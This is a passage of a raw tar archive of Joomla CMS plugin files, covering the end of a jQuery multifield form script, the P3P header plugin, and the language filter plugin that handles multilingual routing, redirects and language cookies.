                        $content[value["fieldname"]] = $("#" + value["id"]).val();
                    }
                }
            });

            if($tbody_bool && Object.keys($content).length){
                var pattern2 = "\\{"+service.vars.parentFieldId+"\\}";
                var regex2   = new RegExp(pattern2,'gi');
                $tbodyHtmlClone   = $tbodyHtmlClone.replace(regex2,service.htmlspecialchars(JSON.stringify($content)));
                if(position > -1 ) {
                    $(service.vars.selector + " .tzmultifield__table tbody tr")
                        .eq( position).after($tbodyHtmlClone).remove();
                    position = -1;
                }else {
                    $(service.vars.selector + " .tzmultifield__table tbody").prepend($tbodyHtmlClone);
                }

                // Call trigger reset form
                $(service.vars.selector + " .tz_btn-reset").trigger("click");

                service.tzPricingTableAction();
            }

        });

        // Reset form
        $(service.vars.selector + " .tz_btn-reset").bind("click",function(){
            if(service.vars.fields.length) {
                $.each(service.vars.fields, function (key, value) {
                    var input_name  = value["name"].replace(/\[/,"\\[")
                        .replace(/\]/,"\\]");
                    if (value["type"].toLowerCase() == 'editor') {
                        if(service.vars.editorUsed == "jce") {
                            WFEditor.setContent(value["id"], value["default"]);
                        }else{
                            if(service.vars.editorUsed == "tinymce"){
                                tinyMCE.activeEditor.setContent(value["default"]);
                            }else{
                                if(service.vars.editorUsed == "codemirror") {
                                    Joomla.editors.instances[value["id"]].setValue(value["default"]);
                                }else{
                                    $("#" + value["id"]).val('');
                                }
                            }
                        }
                    } else {
                        if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'select') {
                            $("#" + value["id"]).val(value["default"])
                                .trigger("liszt:updated");
                        }else{
                            if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                                && $("[name=" + input_name + "]").prop('type') == 'radio') {
                                $("[name=" + input_name + "]").removeAttr("checked");
                                $("#" + value["id"]+" label[for=" + $("[name=" + input_name + "][value="
                                        + value["default"] +"]").attr("id")
                                    +"]").trigger("click");
                            }else {
                                $("#" + value["id"]).val(value["default"]);
                            }
                        }
                    }
                });
                position = -1;
            }
        });

        service.tzPricingTableAction    = function() {
            // Edit data
            $(service.vars.selector + " .tz_btn-edit").unbind("click").bind("click", function () {
                var $hidden_value = $(this).parents("td").first()
                    .find("input[name=\"" + $hidden_name + "\"]").val();
                if ($hidden_value.length) {
                    var $hidden_obj_value = $.parseJSON($hidden_value);
                    if (service.vars.fields.length) {
                        $.each(service.vars.fields, function (key, value) {
                            var input_name  = value["name"].replace(/\[/,"\\[")
                                .replace(/\]/,"\\]");
                            if(value["showon"]) {
                                $("[name=\"" + value["showon"] + "\"]").trigger("change");
                            }

                            if (value["type"].toLowerCase() == 'editor') {

                                if(service.vars.editorUsed == "jce") {
                                    WFEditor.setContent(value["id"], $hidden_obj_value[value["fieldname"]]);
                                }else{
                                    if(service.vars.editorUsed == "tinymce"){
                                        tinyMCE.activeEditor.setContent($hidden_obj_value[value["fieldname"]]);
                                    }else{
                                        if(service.vars.editorUsed == "codemirror") {
                                            Joomla.editors.instances[value["id"]].setValue($hidden_obj_value[value["fieldname"]]);
                                        }else{
                                            $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]]);
                                        }
                                    }
                                }
                            } else{
                                if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'select') {
                                    $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]])
                                        .trigger("liszt:updated");
                                }else{
                                    if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                                        && $("[name=" + input_name + "]").prop('type') == 'radio') {
                                        $("[name=" + input_name + "]").removeAttr("checked");
                                        $("#" + value["id"]+" label[for=" + $("[name=" + input_name + "][value="
                                                + $hidden_obj_value[value["fieldname"]] +"]").attr("id")
                                            +"]").trigger("click");
                                    }else {
                                        $("#" + value["id"]).val($hidden_obj_value[value["fieldname"]]);
                                    }
                                }
                            }

                            if($(service.vars.selector + " .field-media-wrapper").data("fieldMedia")){
                                var fieldMedia = $(service.vars.selector + " .field-media-wrapper").data("fieldMedia");
                                fieldMedia.updatePreview();
                            }
                        });
                        position = $(service.vars.selector + " .tzmultifield__table tbody tr")
                            .index($(this).parents("tr").first());
                    }
                }
            });

            // Remove data row
            $(service.vars.selector + " .tz_btn-remove").unbind("click").bind("click", function () {
                var message = confirm(messages.removeItem);
                if (message) {
                    var curpos = $(service.vars.selector + " .tzmultifield__table tbody tr")
                        .index($(this).parents("tr").first());
                    $(this).parents('tr').first().remove();
                    if(position != -1){
                        if(curpos < position){
                            position -= 1;
                        }else{
                            if(curpos == position) {
                                position = -1;
                            }
                        }
                    }
                }
            });
        };

        service.tzPricingTableAction();

        // Sortable row
        $(service.vars.selector + " .tzmultifield__table tbody").sortable({
            cursor: "move",
            items: "> tr",
            revert: true,
            handle: ".icon-move",
            forceHelperSize: true,
            placeholder: "ui-state-highlight"
        });
        return this;
    };
    $.mtzmultifield.defaults  = {
        id: "",
        tbodyHtml: "",
        fields: "",
        fieldName: "",
        parentFieldId: "",
        editorUsed: "tinymce",
        eMessages: {
            invalidField: "Invalid field: ",
            failOfField: "of field ",
            failToValue: "Failed to put value:",
            removeItem: "Are you sure to remove this item?"
        }
    };

    $.fn.mtzmultifield = function(options){

        if(options === undefined) options   = {};
        if(typeof options === 'object'){
            if(!options.selector){options.selector  = this.selector; }
            // Call function
            return this.each(function() {
                var $this = $(this);
                // Call function
                if ($this.data("mtzmultifield") === undefined) {
                    new $.mtzmultifield(this, options);
                }
            });
        }else{
            
        }
    }
})(jQuery);                                                                                                                                                                                                                                                                                           system/tpl_profiler_params/admin/index.html                                                         0000705                 00000000037 15242051521 0015214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/p3p/index.html                                                                               0000705                 00000000037 15242051521 0010562 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/p3p/p3p.xml                                                                                  0000705                 00000002044 15242051521 0010011 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_p3p</name>
	<author>Joomla! Project</author>
	<creationDate>September 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_P3P_XML_DESCRIPTION</description>
	<files>
		<filename plugin="p3p">p3p.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_p3p.ini</language>
		<language tag="en-GB">en-GB.plg_system_p3p.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="header"
					type="text"
					label="PLG_P3P_HEADER_LABEL"
					description="PLG_P3P_HEADER_DESCRIPTION"
					default="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
					size="37"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            system/p3p/p3p.php                                                                                  0000705                 00000001610 15242051521 0007776 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.p3p
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! P3P Header Plugin.
 *
 * @since  1.6
 * @deprecate  4.0  Obsolete
 */
class PlgSystemP3p extends JPlugin
{
	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecate  4.0  Obsolete
	 */
	public function onAfterInitialise()
	{
		// Get the header.
		$header = $this->params->get('header', 'NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM');
		$header = trim($header);

		// Bail out on empty header (why would anyone do that?!).
		if (empty($header))
		{
			return;
		}

		// Replace any existing P3P headers in the response.
		JFactory::getApplication()->setHeader('P3P', 'CP="' . $header . '"', true);
	}
}
                                                                                                                        system/languagefilter/index.html                                                                    0000705                 00000000037 15242051521 0013051 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/languagefilter/languagefilter.php                                                            0000705                 00000061215 15242051521 0014563 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagefilter
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Joomla! Language Filter Plugin.
 *
 * @since  1.6
 */
class PlgSystemLanguageFilter extends JPlugin
{
	/**
	 * The routing mode.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	protected $mode_sef;

	/**
	 * Available languages by sef.
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $sefs;

	/**
	 * Available languages by language codes.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $lang_codes;

	/**
	 * The current language code.
	 *
	 * @var    string
	 * @since  3.4.2
	 */
	protected $current_lang;

	/**
	 * The default language code.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $default_lang;

	/**
	 * The logged user language code.
	 *
	 * @var    string
	 * @since  3.3.1
	 */
	private $user_lang_code;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->app = JFactory::getApplication();

		// Setup language data.
		$this->mode_sef     = $this->app->get('sef', 0);
		$this->sefs         = JLanguageHelper::getLanguages('sef');
		$this->lang_codes   = JLanguageHelper::getLanguages('lang_code');
		$this->default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

		// If language filter plugin is executed in a site page.
		if ($this->app->isClient('site'))
		{
			$levels = JFactory::getUser()->getAuthorisedViewLevels();

			foreach ($this->sefs as $sef => $language)
			{
				// @todo: In Joomla 2.5.4 and earlier access wasn't set. Non modified Content Languages got 0 as access value
				// we also check if frontend language exists and is enabled
				if (($language->access && !in_array($language->access, $levels))
					|| (!array_key_exists($language->lang_code, JLanguageHelper::getInstalledLanguages(0))))
				{
					unset($this->lang_codes[$language->lang_code], $this->sefs[$language->sef]);
				}
			}
		}
		// If language filter plugin is executed in an admin page (ex: JRoute site).
		else
		{
			// Set current language to default site language, fallback to en-GB if there is no content language for the default site language.
			$this->current_lang = isset($this->lang_codes[$this->default_lang]) ? $this->default_lang : 'en-GB';

			foreach ($this->sefs as $sef => $language)
			{
				if (!array_key_exists($language->lang_code, JLanguageHelper::getInstalledLanguages(0)))
				{
					unset($this->lang_codes[$language->lang_code]);
					unset($this->sefs[$language->sef]);
				}
			}
		}
	}

	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterInitialise()
	{
		$this->app->item_associations = $this->params->get('item_associations', 0);

		// We need to make sure we are always using the site router, even if the language plugin is executed in admin app.
		$router = JApplicationCms::getInstance('site')->getRouter('site');

		// Attach build rules for language SEF.
		$router->attachBuildRule(array($this, 'preprocessBuildRule'), JRouter::PROCESS_BEFORE);
		$router->attachBuildRule(array($this, 'buildRule'), JRouter::PROCESS_DURING);

		if ($this->mode_sef)
		{
			$router->attachBuildRule(array($this, 'postprocessSEFBuildRule'), JRouter::PROCESS_AFTER);
		}
		else
		{
			$router->attachBuildRule(array($this, 'postprocessNonSEFBuildRule'), JRouter::PROCESS_AFTER);
		}

		// Attach parse rules for language SEF.
		$router->attachParseRule(array($this, 'parseRule'), JRouter::PROCESS_DURING);
	}

	/**
	 * After route.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function onAfterRoute()
	{
		// Add custom site name.
		if ($this->app->isClient('site') && isset($this->lang_codes[$this->current_lang]) && $this->lang_codes[$this->current_lang]->sitename)
		{
			$this->app->set('sitename', $this->lang_codes[$this->current_lang]->sitename);
		}
	}

	/**
	 * Add build preprocess rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function preprocessBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang', $this->current_lang);
		$uri->setVar('lang', $lang);

		if (isset($this->sefs[$lang]))
		{
			$lang = $this->sefs[$lang]->lang_code;
			$uri->setVar('lang', $lang);
		}
	}

	/**
	 * Add build rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function buildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$sef = $this->lang_codes[$lang]->sef;
		}
		else
		{
			$sef = $this->lang_codes[$this->current_lang]->sef;
		}

		if ($this->mode_sef
			&& (!$this->params->get('remove_default_prefix', 0)
			|| $lang !== $this->default_lang
			|| $lang !== $this->current_lang))
		{
			$uri->setPath($uri->getPath() . '/' . $sef . '/');
		}
	}

	/**
	 * postprocess build rule for SEF URLs
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessSEFBuildRule(&$router, &$uri)
	{
		$uri->delVar('lang');
	}

	/**
	 * postprocess build rule for non-SEF URLs
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function postprocessNonSEFBuildRule(&$router, &$uri)
	{
		$lang = $uri->getVar('lang');

		if (isset($this->lang_codes[$lang]))
		{
			$uri->setVar('lang', $this->lang_codes[$lang]->sef);
		}
	}

	/**
	 * Add parse rule to router.
	 *
	 * @param   JRouter  &$router  JRouter object.
	 * @param   JUri     &$uri     JUri object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function parseRule(&$router, &$uri)
	{
		// Did we find the current and existing language yet?
		$found = false;

		// Are we in SEF mode or not?
		if ($this->mode_sef)
		{
			$path = $uri->getPath();
			$parts = explode('/', $path);

			$sef = StringHelper::strtolower($parts[0]);

			// Do we have a URL Language Code ?
			if (!isset($this->sefs[$sef]))
			{
				// Check if remove default URL language code is set
				if ($this->params->get('remove_default_prefix', 0))
				{
					if ($parts[0])
					{
						// We load a default site language page
						$lang_code = $this->default_lang;
					}
					else
					{
						// We check for an existing language cookie
						$lang_code = $this->getLanguageCookie();
					}
				}
				else
				{
					$lang_code = $this->getLanguageCookie();
				}

				// No language code. Try using browser settings or default site language
				if (!$lang_code && $this->params->get('detect_browser', 0) == 1)
				{
					$lang_code = JLanguageHelper::detectLanguage();
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}

				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					$found = true;
				}
			}
			else
			{
				// We found our language
				$found = true;
				$lang_code = $this->sefs[$sef]->lang_code;

				// If we found our language, but its the default language and we don't want a prefix for that, we are on a wrong URL.
				// Or we try to change the language back to the default language. We need a redirect to the proper URL for the default language.
				if ($lang_code === $this->default_lang && $this->params->get('remove_default_prefix', 0))
				{
					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					$found = false;
					array_shift($parts);
					$path = implode('/', $parts);
				}

				// We have found our language and the first part of our URL is the language prefix
				if ($found)
				{
					array_shift($parts);

					// Empty parts array when "index.php" is the only part left.
					if (count($parts) === 1 && $parts[0] === 'index.php')
					{
						$parts = array();
					}

					$uri->setPath(implode('/', $parts));
				}
			}
		}
		// We are not in SEF mode
		else
		{
			$lang_code = $this->getLanguageCookie();

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = JLanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		$lang = $uri->getVar('lang', $lang_code);

		if (isset($this->sefs[$lang]))
		{
			// We found our language
			$found = true;
			$lang_code = $this->sefs[$lang]->lang_code;
		}

		// We are called via POST or the nolangfilter url parameter was set. We don't care about the language
		// and simply set the default language as our current language.
		if ($this->app->input->getMethod() === 'POST'
			|| $this->app->input->get('nolangfilter', 0) == 1
			|| count($this->app->input->post) > 0
			|| count($this->app->input->files) > 0)
		{
			$found = true;

			if (!isset($lang_code))
			{
				$lang_code = $this->getLanguageCookie();
			}

			if (!$lang_code && $this->params->get('detect_browser', 1))
			{
				$lang_code = JLanguageHelper::detectLanguage();
			}

			if (!isset($this->lang_codes[$lang_code]))
			{
				$lang_code = $this->default_lang;
			}
		}

		// We have not found the language and thus need to redirect
		if (!$found)
		{
			// Lets find the default language for this user
			if (!isset($lang_code) || !isset($this->lang_codes[$lang_code]))
			{
				$lang_code = false;

				if ($this->params->get('detect_browser', 1))
				{
					$lang_code = JLanguageHelper::detectLanguage();

					if (!isset($this->lang_codes[$lang_code]))
					{
						$lang_code = false;
					}
				}

				if (!$lang_code)
				{
					$lang_code = $this->default_lang;
				}
			}

			if ($this->mode_sef)
			{
				// Use the current language sef or the default one.
				if ($lang_code !== $this->default_lang
					|| !$this->params->get('remove_default_prefix', 0))
				{
					$path = $this->lang_codes[$lang_code]->sef . '/' . $path;
				}

				$uri->setPath($path);

				if (!$this->app->get('sef_rewrite'))
				{
					$uri->setPath('index.php/' . $uri->getPath());
				}

				$redirectUri = $uri->base() . $uri->toString(array('path', 'query', 'fragment'));
			}
			else
			{
				$uri->setVar('lang', $this->lang_codes[$lang_code]->sef);
				$redirectUri = $uri->base() . 'index.php?' . $uri->getQuery();
			}

			// Set redirect HTTP code to "302 Found".
			$redirectHttpCode = 302;

			// If selected language is the default language redirect code is "301 Moved Permanently".
			if ($lang_code === $this->default_lang)
			{
				$redirectHttpCode = 301;

				// We cannot cache this redirect in browser. 301 is cachable by default so we need to force to not cache it in browsers.
				$this->app->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true);
				$this->app->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
				$this->app->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', false);
				$this->app->setHeader('Pragma', 'no-cache');
				$this->app->sendHeaders();
			}

			// Redirect to language.
			$this->app->redirect($redirectUri, $redirectHttpCode);
		}

		// We have found our language and now need to set the cookie and the language value in our system
		$array = array('lang' => $lang_code);
		$this->current_lang = $lang_code;

		// Set the request var.
		$this->app->input->set('language', $lang_code);
		$this->app->set('language', $lang_code);
		$language = JFactory::getLanguage();

		if ($language->getTag() !== $lang_code)
		{
			$language_new = JLanguage::getInstance($lang_code, (bool) $this->app->get('debug_lang'));

			foreach ($language->getPaths() as $extension => $files)
			{
				if (strpos($extension, 'plg_system') !== false)
				{
					$extension_name = substr($extension, 11);

					$language_new->load($extension, JPATH_ADMINISTRATOR)
					|| $language_new->load($extension, JPATH_PLUGINS . '/system/' . $extension_name);

					continue;
				}

				$language_new->load($extension);
			}

			JFactory::$language = $language_new;
			$this->app->loadLanguage($language_new);
		}

		// Create a cookie.
		if ($this->getLanguageCookie() !== $lang_code)
		{
			$this->setLanguageCookie($lang_code);
		}

		return $array;
	}

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_SYSTEM_LANGUAGEFILTER') => array(
				JText::_('PLG_SYSTEM_LANGUAGEFILTER_PRIVACY_CAPABILITY_LANGUAGE_COOKIE'),
			)
		);
	}

	/**
	 * Before store user method.
	 *
	 * Method is called before user data is stored in the database.
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $new    Holds the new user data.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserBeforeSave($user, $isnew, $new)
	{
		if (array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$this->user_lang_code = $registry->get('language');

			if (empty($this->user_lang_code))
			{
				$this->user_lang_code = $this->current_lang;
			}
		}
	}

	/**
	 * After store user method.
	 *
	 * Method is called after user data is stored in the database.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was succesfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		if ($success && array_key_exists('params', $user) && $this->params->get('automatic_change', 1) == 1)
		{
			$registry = new Registry($user['params']);
			$lang_code = $registry->get('language');

			if (empty($lang_code))
			{
				$lang_code = $this->current_lang;
			}

			if ($lang_code === $this->user_lang_code || !isset($this->lang_codes[$lang_code]))
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', null);
				}
			}
			else
			{
				if ($this->app->isClient('site'))
				{
					$this->app->setUserState('com_users.edit.profile.redirect', 'index.php?Itemid='
						. $this->app->getMenu()->getDefault($lang_code)->id . '&lang=' . $this->lang_codes[$lang_code]->sef
					);

					// Create a cookie.
					$this->setLanguageCookie($lang_code);
				}
			}
		}
	}

	/**
	 * Method to handle any login logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.5
	 */
	public function onUserLogin($user, $options = array())
	{
		$menu = $this->app->getMenu();

		if ($this->app->isClient('site'))
		{
			if ($this->params->get('automatic_change', 1))
			{
				$assoc = JLanguageAssociations::isEnabled();
				$lang_code = $user['language'];

				// If no language is specified for this user, we set it to the site default language
				if (empty($lang_code))
				{
					$lang_code = $this->default_lang;
				}

				jimport('joomla.filesystem.folder');

				// The language has been deleted/disabled or the related content language does not exist/has been unpublished
				// or the related home page does not exist/has been unpublished
				if (!array_key_exists($lang_code, $this->lang_codes)
					|| !array_key_exists($lang_code, JLanguageMultilang::getSiteHomePages())
					|| !JFolder::exists(JPATH_SITE . '/language/' . $lang_code))
				{
					$lang_code = $this->current_lang;
				}

				// Try to get association from the current active menu item
				$active = $menu->getActive();

				$foundAssociation = false;

				/**
				 * Looking for associations.
				 * If the login menu item form contains an internal URL redirection,
				 * This will override the automatic change to the user preferred site language.
				 * In that case we use the redirect as defined in the menu item.
				 *  Otherwise we redirect, when available, to the user preferred site language.
				 */
				if ($active && !$active->params['login_redirect_url'])
				{
					if ($assoc)
					{
						$associations = MenusHelper::getAssociations($active->id);
					}

					// Retrieves the Itemid from a login form.
					$uri = new JUri($this->app->getUserState('users.login.form.return'));

					if ($uri->getVar('Itemid'))
					{
						// The login form contains a menu item redirection. Try to get associations from that menu item.
						// If any association set to the user preferred site language, redirect to that page.
						if ($assoc)
						{
							$associations = MenusHelper::getAssociations($uri->getVar('Itemid'));
						}

						if (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
						{
							$associationItemid = $associations[$lang_code];
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
							$foundAssociation = true;
						}
					}
					elseif (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code]))
					{
						/**
						 * The login form does not contain a menu item redirection.
						 * The active menu item has associations.
						 * We redirect to the user preferred site language associated page.
						 */
						$associationItemid = $associations[$lang_code];
						$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $associationItemid);
						$foundAssociation = true;
					}
					elseif ($active->home)
					{
						// We are on a Home page, we redirect to the user preferred site language Home page.
						$item = $menu->getDefault($lang_code);

						if ($item && $item->language !== $active->language && $item->language !== '*')
						{
							$this->app->setUserState('users.login.form.return', 'index.php?Itemid=' . $item->id);
							$foundAssociation = true;
						}
					}
				}

				if ($foundAssociation && $lang_code !== $this->current_lang)
				{
					// Change language.
					$this->current_lang = $lang_code;

					// Create a cookie.
					$this->setLanguageCookie($lang_code);

					// Change the language code.
					JFactory::getLanguage()->setLanguage($lang_code);
				}
			}
			else
			{
				if ($this->app->getUserState('users.login.form.return'))
				{
					$this->app->setUserState('users.login.form.return', JRoute::_($this->app->getUserState('users.login.form.return'), false));
				}
			}
		}
	}

	/**
	 * Method to add alternative meta tags for associated menu items.
	 *
	 * @return  void
	 *
	 * @since   1.7
	 */
	public function onAfterDispatch()
	{
		$doc = JFactory::getDocument();

		if ($this->app->isClient('site') && $this->params->get('alternate_meta', 1) && $doc->getType() === 'html')
		{
			$languages             = $this->lang_codes;
			$homes                 = JLanguageMultilang::getSiteHomePages();
			$menu                  = $this->app->getMenu();
			$active                = $menu->getActive();
			$levels                = JFactory::getUser()->getAuthorisedViewLevels();
			$remove_default_prefix = $this->params->get('remove_default_prefix', 0);
			$server                = JUri::getInstance()->toString(array('scheme', 'host', 'port'));
			$is_home               = false;
			$currentInternalUrl    = 'index.php?' . http_build_query($this->app->getRouter()->getVars());

			if ($active)
			{
				$active_link  = JRoute::_($active->link . '&Itemid=' . $active->id);
				$current_link = JRoute::_($currentInternalUrl);

				// Load menu associations
				if ($active_link === $current_link)
				{
					$associations = MenusHelper::getAssociations($active->id);
				}

				// Check if we are on the home page
				$is_home = ($active->home
					&& ($active_link === $current_link || $active_link === $current_link . 'index.php' || $active_link . '/' === $current_link));
			}

			// Load component associations.
			$option = $this->app->input->get('option');
			$cName = ucfirst(substr($option, 4)) . 'HelperAssociation';
			JLoader::register($cName, JPath::clean(JPATH_SITE . '/components/' . $option . '/helpers/association.php'));

			if (class_exists($cName) && is_callable(array($cName, 'getAssociations')))
			{
				$cassociations = call_user_func(array($cName, 'getAssociations'));
			}

			// For each language...
			foreach ($languages as $i => $language)
			{
				switch (true)
				{
					// Language without frontend UI || Language without specific home menu || Language without authorized access level
					case (!array_key_exists($i, JLanguageHelper::getInstalledLanguages(0))):
					case (!isset($homes[$i])):
					case (isset($language->access) && $language->access && !in_array($language->access, $levels)):
						unset($languages[$i]);
						break;

					// Home page
					case ($is_home):
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $homes[$i]->id);
						break;

					// Current language link
					case ($i === $this->current_lang):
						$language->link = JRoute::_($currentInternalUrl);
						break;

					// Component association
					case (isset($cassociations[$i])):
						$language->link = JRoute::_($cassociations[$i] . '&lang=' . $language->sef);
						break;

					// Menu items association
					// Heads up! "$item = $menu" here below is an assignment, *NOT* comparison
					case (isset($associations[$i]) && ($item = $menu->getItem($associations[$i]))):

						$language->link = JRoute::_('index.php?Itemid=' . $item->id . '&lang=' . $language->sef);
						break;

					// Too bad...
					default:
						unset($languages[$i]);
				}
			}

			// If there are at least 2 of them, add the rel="alternate" links to the <head>
			if (count($languages) > 1)
			{
				// Remove the sef from the default language if "Remove URL Language Code" is on
				if ($remove_default_prefix && isset($languages[$this->default_lang]))
				{
					$languages[$this->default_lang]->link
									= preg_replace('|/' . $languages[$this->default_lang]->sef . '/|', '/', $languages[$this->default_lang]->link, 1);
				}

				foreach ($languages as $i => $language)
				{
					$doc->addHeadLink($server . $language->link, 'alternate', 'rel', array('hreflang' => $i));
				}

				// Add x-default language tag
				if ($this->params->get('xdefault', 1))
				{
					$xdefault_language = $this->params->get('xdefault_language', $this->default_lang);
					$xdefault_language = ($xdefault_language === 'default') ? $this->default_lang : $xdefault_language;

					if (isset($languages[$xdefault_language]))
					{
						// Use a custom tag because addHeadLink is limited to one URI per tag
						$doc->addCustomTag('<link href="' . $server . $languages[$xdefault_language]->link . '" rel="alternate" hreflang="x-default" />');
					}
				}
			}
		}
	}

	/**
	 * Set the language cookie
	 *
	 * @param   string  $languageCode  The language code for which we want to set the cookie
	 *
	 * @return  void
	 *
	 * @since   3.4.2
	 */
	private function setLanguageCookie($languageCode)
	{
		// If is set to use language cookie for a year in plugin params, save the user language in a new cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			// Create a cookie with one year lifetime.
			$this->app->input->cookie->set(
				JApplicationHelper::getHash('language'),
				$languageCode,
				time() + 365 * 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}
		// If not, set the user language in the session (that is already saved in a cookie).
		else
		{
			JFactory::getSession()->set('plg_system_languagefilter.language', $languageCode);
		}
	}

	/**
	 * Get the language cookie
	 *
	 * @return  string
	 *
	 * @since   3.4.2
	 */
	private function getLanguageCookie()
	{
		// Is is set to use a year language cookie in plugin params, get the user language from the cookie.
		if ((int) $this->params->get('lang_cookie', 0) === 1)
		{
			$languageCode = $this->app->input->cookie->get(JApplicationHelper::getHash('language'));
		}
		// Else get the user language from the session.
		else
		{
			$languageCode = JFactory::getSession()->get('plg_system_languagefilter.language');
		}

		// Let's be sure we got a valid language code. Fallback to null.
		if (!array_key_exists($languageCode, $this->lang_codes))
		{
			$languageCode = null;
		}

		return $languageCode;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                   system/languagefilter/languagefilter.xml                                                            0000705                 00000007563 15242051521 0014602 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_languagefilter</name>
	<author>Joomla! Project</author>
